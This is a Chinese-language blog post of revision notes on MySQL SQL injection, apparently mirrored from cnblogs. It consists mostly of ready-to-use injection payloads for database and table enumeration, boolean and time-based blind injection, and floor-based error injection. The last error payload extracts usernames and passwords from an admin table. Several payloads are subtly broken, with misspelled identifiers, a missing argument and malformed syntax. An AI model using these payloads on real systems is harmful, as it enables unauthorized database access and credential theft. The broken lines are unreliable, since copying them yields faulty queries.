zoukankan      html  css  js  c++  java
  • 注入复习总结

    /*不定期更新*/

    Mysql Code:

    #常规注入:
    select schema_name from information_schema.schemata;
    select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;
    select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;
    #盲注:
    select and ascii(mid(databases(),1,1))=115;
    select and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1));
    select and ascii(substring((select columns_name from information_schema.columns where column_schena=database() limit 1,1),1,1));
    #延时盲注:
    select and if(ascii(substring(database(),1,)),sleep(10),1);
    select and if(ascii(substring((select table_name from information_schema.tables where table_schema=0x73716C696E6A656374),sleep(10),1));
    select and if(ascii(substring((select columns_name from information_schema.columns where column_schema=0x73716C696E6A656374)),1,1),sleep(10),1);
    #floor报错注入
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

    信息收集函数:


    user()                             #当前使用者的用户名
    database()                         #当前数据库名
    version()                          #数据库版本
    datadir                            #读取数据库的绝对路径
    @@vasedir                          #Mysql安装路径
    @@version_compile_os               #操作系统
    concat()                           #连接一个或者多个字符串
    group_concat()                     #连接一个组的所有字符串,并以逗号分隔每一条数据

    报错常用的函数:


    count  #计算元组的个数
    rand    #取随机数
    floor    #想下取正,比如1.9就取1

     结束


  • 相关阅读:
    消息中间件——RabbitMQ(一)Windows/Linux环境搭建(完整版)
    数据结构与算法(一):带你了解时间复杂度和空间复杂度到底是什么?
    作为一技术人员,面试前都需要做哪些准备?
    消息中间件——RocketMQ(一) 环境搭建(完整版)
    从“数学归纳法”到理解“递归算法”!
    深入浅出了解“装箱与拆箱”
    PMP备考指南之第二章:项目运作环境
    PMP备考指南之第一章:引论
    PMP备考指南之相关事项介绍
    7月新的开始
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6200818.html
Copyright © 2011-2022 走看看